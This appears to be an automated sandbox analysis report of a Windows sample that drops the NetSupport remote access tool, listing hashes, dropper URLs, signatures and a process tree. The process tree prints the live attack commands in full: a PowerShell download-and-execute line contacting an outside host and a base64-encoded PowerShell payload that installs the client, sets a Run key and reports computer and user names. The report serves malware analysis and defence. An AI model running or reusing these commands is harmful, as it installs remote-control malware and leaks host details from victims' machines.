Analysis

  • max time kernel
    279s
  • max time network
    286s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-en
  • resource tags

    arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/04/2025, 14:41

General

  • Target

    sample1.exe

  • Size

    28KB

  • MD5

    665aba35929da6cccc28ee3462c46187

  • SHA1

    d8b04407b2807f0fc078e6bd47b6ed4a71d0b16b

  • SHA256

    5342fa80b4f8f983322e8932819ef6037f837b93719a77f06f48d4a6eb7b17f8

  • SHA512

    19e132a5b23bebe4795af6a57e7958267565f18c7a83419d02bfad26ca222ddbec4479f7270e0a96612adfb470a51d9622354938a554db33360b45e03eb37b62

  • SSDEEP

    384:pZs2bjAkOzFGbIki9U2ZPrgghNPe6ki2kUix6LkCzHDH/n/RJGBkSFX:pyi9oZkirZPrg2RB2Ex64CzHDHf/ckg

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://tribunrtp.com/bytest/bytest.zip

exe.dropper

https://tribunrtp.com/byfil/

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Netsupport family
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sample1.exe
    "C:\Users\Admin\AppData\Local\Temp\sample1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\System32\cmd.exe
      /c "del %TEMP%\JavaFilee && echo eXDGeso3s9932k > %TEMP%\JavaFilee"
      2⤵
        PID:2908
      • C:\Windows\System32\cmd.exe
        /c "powershell.exe $u='https://tribunrtp.com/come.php?compName='+$env:computername;[NEt.seRviCePOINtMAnaGeR]::SECurityprotOCol = [Net.seCuRityPrOTOcOLTYpe]::TLS12;iex(iwr $u -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/541.36 (KHTML, like Gecko) Chrome/122.108.1.10 Safari/541.36').Content;"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $u='https://tribunrtp.com/come.php?compName='+$env:computername;[NEt.seRviCePOINtMAnaGeR]::SECurityprotOCol = [Net.seCuRityPrOTOcOLTYpe]::TLS12;iex(iwr $u -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/541.36 (KHTML, like Gecko) Chrome/122.108.1.10 Safari/541.36').Content;
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noproFI -eXEcUtiOnP Bypass -winDowst HiDD -EnCO JABuAEoAcAA4AFoARAA9ACcARwBEAHIAaQB2AGUAQwBsAGkAZQBuAHQAJwA7ACAAJABDADQAMQA2AG8AZAA9AGcARQBUAC0AQwBPAG0ATQBBAE4ARAAgAFMAdABBAHIAVAAtAGIASQBUAFMAVABSAGEATgBzAEYARQBSACAALQBlAHIAUgBPAFIAYQBjAHQAaQBPAE4AIABTAGkAbABFAG4AdABMAFkAQwBPAG4AVABJAE4AVQBlADsAIABbAE4ARQB0AC4AcwBlAFIAdgBpAEMAZQBQAE8ASQBOAHQATQBBAG4AYQBHAGUAUgBdADoAOgBTAEUAQwB1AHIAaQB0AHkAcAByAG8AdABPAEMAbwBsACAAPQAgAFsATgBlAHQALgBzAGUAQwB1AFIAaQB0AHkAUAByAE8AVABPAGMATwBMAFQAWQBwAGUAXQA6ADoAVABMAFMAMQAyADsAIAAkAEcAQQBJAFUARABVAD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGkAYgB1AG4AcgB0AHAALgBjAG8AbQAvAGIAeQB0AGUAcwB0AC8AYgB5AHQAZQBzAHQALgB6AGkAcAAnADsAIABDAGgAZABpAFIAIAAkAEUATgBWADoAYQBwAHAAZABhAFQAYQA7ACAAJAB2AEIAegBrAEoAZAA5AD0AJABFAG4AdgA6AEEAcABQAEQAQQBUAGEALAAgACQAbgBKAHAAOABaAEQAIAAtAEoATwBJAE4AIAAnAFwAJwA7ACAAdABSAHkAIAB7ACAAbgBpACAALQBQAGEAVABIACAAJABFAE4AVgA6AGEAUABwAGQAQQB0AEEAIAAtAE4AQQBNAEUAIAAkAG4ASgBwADgAWgBEACAALQBJAFQAZQBtAFQAeQBwAEUAIAAnAGQAaQByAGUAYwB0AG8AcgB5ACcAOwAgAEEARABEAC0AVABZAHAAZQAgAC0AQQBzAFMARQBtAEIATAB5AG4AYQBtAEUAIABzAFkAUwB0AEUAbQAuAEkAbwAuAGMATwBtAHAAUgBlAHMAUwBpAE8ATgAsACAAUwBZAHMAdABFAE0ALgBpAE8ALgBjAE8ATQBQAFIAZQBzAHMAaQBvAG4ALgBmAGkAbABFAHMAeQBzAFQAZQBtACAALQBlAHIAUgBvAFIAQQBjAHQAaQBvAG4AIABTAEkATABFAG4AdABsAHkAYwBPAG4AdABJAE4AdQBFADsAIAAkAGcAYQBrAGYAVgAzADgASwA9ACgAQwBVAFIATAAgAC0AVQBSAGkAIAAkAEcAQQBJAFUARABVACAALQBVAFMARQBCAEEAcwBJAGMAUABBAFIAUwBpAE4ARwApAC4AQwBvAE4AVABlAG4AVAA7ACAAJABJAHgAcQBCAHkAQQBxAEIAPQBOAEUAVwAtAE8AQgBKAEUAYwBUACAAcwB5AHMAdABlAG0ALgBJAG8ALgBtAEUAbQBPAHIAWQBTAFQAUgBlAGEATQA7ACAAJABJAHgAcQBCAHkAQQBxAEIALgB3AHIASQB0AGUAKAAkAGcAYQBrAGYAVgAzADgASwAsACAAMAAsACAAJABnAGEAawBmAFYAMwA4AEsALgBsAGUATgBHAHQASAApADsAIAAkAEkAeABxAEIAeQBBAHEAQgAuAFMAZQBFAGsAKAAwACwAIABbAFMAWQBzAHQAZQBNAC4AaQBPAC4AcwBFAEUASwBPAFIASQBHAGkATgBdADoAOgBiAGUAZwBpAG4AKQAgAHwAIABvAHUAVAAtAE4AdQBMAEwAOwAgACQAVgBuAE4ATgBIAEoAagA4AD0ATgBlAHcALQBvAEIASgBlAEMAVAAgAHMAWQBzAHQAZQBtAC4AaQBPAC4AYwBvAE0AcABSAGUAUwBTAEkAbwBOAC4AegBpAHAAYQBSAGMASABpAHYAZQAoACQASQB4AHEAQgB5AEEAcQBCACwAIABbAFMAWQBTAHQAZQBtAC4ASQBvAC4AYwBvAG0AcAByAGUAcwBzAEkATwBOAC4AWgBJAFAAQQBSAGMAaABJAFYARQBNAG8ARABFAF0AOgA6AFIARQBhAGQAKQA7ACAARgBvAHIARQBBAEMAaAAoACQAagB3AEUAZQBYAEcAIABpAG4AIAAkAFYAbgBOAE4ASABKAGoAOAAuAGUAbgBUAHIASQBFAFMAKQAgAHsAIAAkAE8AVgBBADYAWQAyAGkATgA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJAB2AEIAegBrAEoAZAA5ACwAIAAkAGoAdwBFAGUAWABHAC4ATgBhAG0ARQA7ACAAJABhAEgAQQAyAFIAeAA5AE0APQAkAGoAdwBFAGUAWABHAC4ATwBQAGUAbgAoACkAOwAgACQAQQBZAEUARAB1AEIARQBSAD0AWwBzAHkAUwB0AGUATQAuAGkATwAuAGYASQBsAEUAXQA6ADoAQwByAEUAYQB0AGUAKAAkAE8AVgBBADYAWQAyAGkATgApADsAIAAkAGEASABBADIAUgB4ADkATQAuAEMATwBwAHkAdABPACgAJABBAFkARQBEAHUAQgBFAFIAKQA7ACAAJABBAFkARQBEAHUAQgBFAFIALgBDAGwATwBzAGUAKAApADsAIAAkAGEASABBADIAUgB4ADkATQAuAEMAbABvAFMAZQAoACkAOwB9ACAAJABWAG4ATgBOAEgASgBqADgALgBEAEkAUwBwAG8AUwBlACgAKQA7ACAAJABJAHgAcQBCAHkAQQBxAEIALgBkAGkAcwBwAG8AcwBlACgAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAJABQAEoAVwBWAFgAMQA9AEAAKAAnAG4AcwBtAF8AdgBwAHIAbwAuAGkAbgBpACcALAAgACcASABUAEMAVABMADMAMgAuAEQATABMACcALAAgACcAUABDAEkAQwBMADMAMgAuAEQATABMACcALAAgACcAQQB1AGQAaQBvAEMAYQBwAHQAdQByAGUALgBkAGwAbAAnACwAIAAnAFQAQwBDAFQATAAzADIALgBEAEwATAAnACwAIAAnAHIAZQBtAGMAbQBkAHMAdAB1AGIALgBlAHgAZQAnACwAIAAnAHAAYwBpAGMAYQBwAGkALgBkAGwAbAAnACwAIAAnAGMAbABpAGUAbgB0ADMAMgAuAGkAbgBpACcALAAgACcAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwAsACAAJwBuAHMAawBiAGYAbAB0AHIALgBpAG4AZgAnACwAIAAnAE4AUwBNAC4ATABJAEMAJwAsACAAJwBQAEMASQBDAEgARQBLAC4ARABMAEwAJwAsACAAJwBtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAnACkAOwAgAG4AaQAgAC0AcABhAHQASAAgACQAZQBOAHYAOgBBAFAAUABEAGEAdABBACAALQBOAEEATQBlACAAJABuAEoAcAA4AFoARAAgAC0AaQB0AEUATQB0AFkAUABlACAAJwBkAGkAcgBlAGMAdABvAHIAeQAnADsAIAAkAFEAegBoAE4AeAAxAHAAbQA9ACcAaAB0AHQAcABzADoALwAvAHQAcgBpAGIAdQBuAHIAdABwAC4AYwBvAG0ALwBiAHkAZgBpAGwALwAnADsAIABpAEYAIAAoACQAQwA0ADEANgBvAGQAKQAgAHsAIAAkAFAASgBXAFYAWAAxACAAfAAgAEYATwBSAEUAYQBDAEgALQBvAGIAagBlAEMAVAAgAHsAIAAkAEoAcQBXAGMAdwB1AD0AJABRAHoAaABOAHgAMQBwAG0AKwAkAF8AOwAgACQAOQA2AHUAOAB5AEoAWQA4AD0AJAB2AEIAegBrAEoAZAA5ACsAJwBcACcAKwAkAF8AOwAgAFMAVABBAFIAVAAtAGIASQBUAHMAdAByAEEATgBTAGYAZQByACAALQBzAG8AVQBSAGMAZQAgACQASgBxAFcAYwB3AHUAIAAtAEQAZQBTAHQASQBOAEEAdABpAE8AbgAgACQAOQA2AHUAOAB5AEoAWQA4ADsAIAB9ADsAfQAgAEUATABzAEUAIAB7ACAAJABQAEoAVwBWAFgAMQAgAHwAIABmAG8AcgBlAEEAQwBoAC0ATwBCAGoARQBDAFQAIAB7ACAAJABKAHEAVwBjAHcAdQA9ACQAUQB6AGgATgB4ADEAcABtACsAJABfADsAIAAkADkANgB1ADgAeQBKAFkAOAA9ACQAdgBCAHoAawBKAGQAOQArACcAXAAnACsAJABfADsAIAAkAGEAWABVAEwAZgAwAE8AbgA9ACIAYgBpAHQAcwBBAGQAbQBpAG4ALgBlAFgAZQAgAC8AVABSAEEAbgBTAEYAZQByACAAVQBHADQASQBHAGoAbAA0ACAALwBkAE8AdwBuAEwATwBhAGQAIAAvAHAAUgBJAG8AUgBpAFQAWQAgAG4ATwBSAE0AQQBsACAAJABKAHEAVwBjAHcAdQAgACQAOQA2AHUAOAB5AEoAWQA4ACIAOwAgACYAIAAkAGEAWABVAEwAZgAwAE8AbgA7AH0AOwAgAH0AOwAgAH0AOwAgACQARgBwAHMAbABUADQAZgBuAD0ARwBpACAAJAB2AEIAegBrAEoAZAA5ACAALQBGAG8AUgBDAEUAOwAgACQARgBwAHMAbABUADQAZgBuAC4AYQBUAFQAcgBpAEIAdQB0AEUAcwA9ACcASABpAGQAZABlAG4AJwA7ACAAYwBkACAAJAB2AEIAegBrAEoAZAA5ADsAIAAkAHEAawBRAEIAbABmAFAAPQAkAHYAQgB6AGsASgBkADkAKwAnAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAJwA7ACAAcwB0AEEAcgB0AC0AcABSAG8AYwBlAHMAcwAgAGMAbABJAGUAbgB0ADMAMgAuAEUAeABlADsAIABuAEUAdwAtAEkAdABFAG0AcAByAG8AUABlAFIAVABZACAALQBQAEEAdABIACAAJwBIAEsAQwBVADoAXABzAG8AZgBUAFcAQQBSAGUAXABNAEkAQwBSAG8AcwBvAGYAVABcAFcASQBuAGQAbwB3AFMAXABjAFUAcgBSAEUAbgBUAHYARQByAHMAaQBvAG4AXAByAHUATgAnACAALQBOAEEATQBlACAAJABuAEoAcAA4AFoARAAgAC0AdgBhAEwAdQBFACAAJABxAGsAUQBCAGwAZgBQACAALQBwAFIAbwBwAEUAUgBUAFkAVAB5AFAAZQAgACcAUwB0AHIAaQBuAGcAJwA7ACAAJABUADcAYgB6AD0AZwBFAHQALQBwAHIATwBDAEUAcwBzACAAYwBsAGkAZQBuAHQAMwAyACAALQBlAHIAUgBPAFIAYQBjAFQAaQBPAE4AIABTAGkATABlAG4AdABMAHkAYwBvAE4AdABJAG4AdQBFADsAIAAkAEkATQByAGwAPQAiAGgAdAB0AHAAcwA6AC8ALwB0AHIAaQBiAHUAbgByAHQAcAAuAGMAbwBtAC8AYwBvAHMAdABhAC8AZABlAGQAbwAuAHAAaABwAD8AYwBwAG4AbQBlAD0AJABlAG4AVgA6AEMATwBtAFAAdQBUAEUAcgBOAGEAbQBlACYAdQBzAG4AbQBlAD0AJABlAE4AVgA6AFUAUwBlAFIATgBhAG0AZQAmAHAAYQByAGEAbQA9ACIAOwAgAEkARgAgACgAJABUADcAYgB6AC4AaQBkACkAIAB7ACAAJABCAHMAVgBsADIAPQAkAEkATQByAGwAKwAnADkAbgA2AHYARQAnADsAIABjAFUAUgBsACAAJABCAHMAVgBsADIAIAAtAFUAcwBlAEIAYQBTAEkAYwBwAEEAcgBzAEkATgBnADsAfQAgAGUAbABTAGUAIAB7ACAAJABCAHMAVgBsADIAPQAkAEkATQByAGwAKwAnAG0AaQAyAFEARAAnADsAIABjAFUAUgBsACAAJABCAHMAVgBsADIAIAAtAHUAcwBlAGIAQQBTAGkAYwBQAEEAcgBTAGkAbgBnADsAfQA7AA==
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2464
            • C:\Users\Admin\AppData\Roaming\GDriveClient\client32.exe
              "C:\Users\Admin\AppData\Roaming\GDriveClient\client32.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:1712
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\GDriveClient\client32.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3184
      • C:\Users\Admin\AppData\Roaming\GDriveClient\client32.exe
        C:\Users\Admin\AppData\Roaming\GDriveClient\client32.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3304

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      35f65186730af30514143cf952162eb5

      SHA1

      bee57cea35db981fa4ec0d39424b1bac4a346314

      SHA256

      1cc35e35f244bf3cc6c22c93c2fb603db88ec85dc37383b6234d7e1bde25b06c

      SHA512

      b6cae6d1dbcbbca2b42c280c2efdc974466571b27930641b9c744784f1467f191c33d325076d887fabce0883e9b4ffa747e5ae0bb0f191845f81a11d5d6f922e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      5e6baeec02c3d93dce26652e7acebc90

      SHA1

      937a7b4a0d42ea56e21a1a00447d899a2aca3c28

      SHA256

      137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0

      SHA512

      461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

    • C:\Users\Admin\AppData\Local\Temp\JavaFilee

      Filesize

      17B

      MD5

      f7f72191324a0bdaac7c154b3ef71c92

      SHA1

      9140004207888ba3d5d41816fd090f79ef28779f

      SHA256

      40aea0ced08da69d5dd510cdda764cc6c6e7b173bec00e8475107fad7be21e93

      SHA512

      89474f70263577c778ec3cf84054fb2cf9f605ed7cbe51a1ca4a86226ca3418eafdeca2a601aeb1bd5f41714d14233b9def401e7f7255e2d195c4ff21edd9d11

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkdsgquv.wqk.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1068-28-0x00007FF883CD3000-0x00007FF883CD5000-memory.dmp

      Filesize

      8KB

    • memory/1068-13-0x00007FF883CD0000-0x00007FF884792000-memory.dmp

      Filesize

      10.8MB

    • memory/1068-14-0x00007FF883CD0000-0x00007FF884792000-memory.dmp

      Filesize

      10.8MB

    • memory/1068-15-0x00007FF883CD0000-0x00007FF884792000-memory.dmp

      Filesize

      10.8MB

    • memory/1068-29-0x00007FF883CD0000-0x00007FF884792000-memory.dmp

      Filesize

      10.8MB

    • memory/1068-12-0x0000022BBDED0000-0x0000022BBDEF2000-memory.dmp

      Filesize

      136KB

    • memory/1068-3-0x00007FF883CD3000-0x00007FF883CD5000-memory.dmp

      Filesize

      8KB

    • memory/1068-35-0x00007FF883CD0000-0x00007FF884792000-memory.dmp

      Filesize

      10.8MB

    • memory/2464-25-0x000002D778350000-0x000002D778364000-memory.dmp

      Filesize

      80KB

    • memory/2464-24-0x000002D777DA0000-0x000002D777DC7000-memory.dmp

      Filesize

      156KB

    • memory/2464-27-0x000002D778330000-0x000002D77833A000-memory.dmp

      Filesize

      40KB

    • memory/2464-26-0x000002D778370000-0x000002D778382000-memory.dmp

      Filesize

      72KB

    • memory/3228-2-0x0000000000400000-0x000000000040C000-memory.dmp

      Filesize

      48KB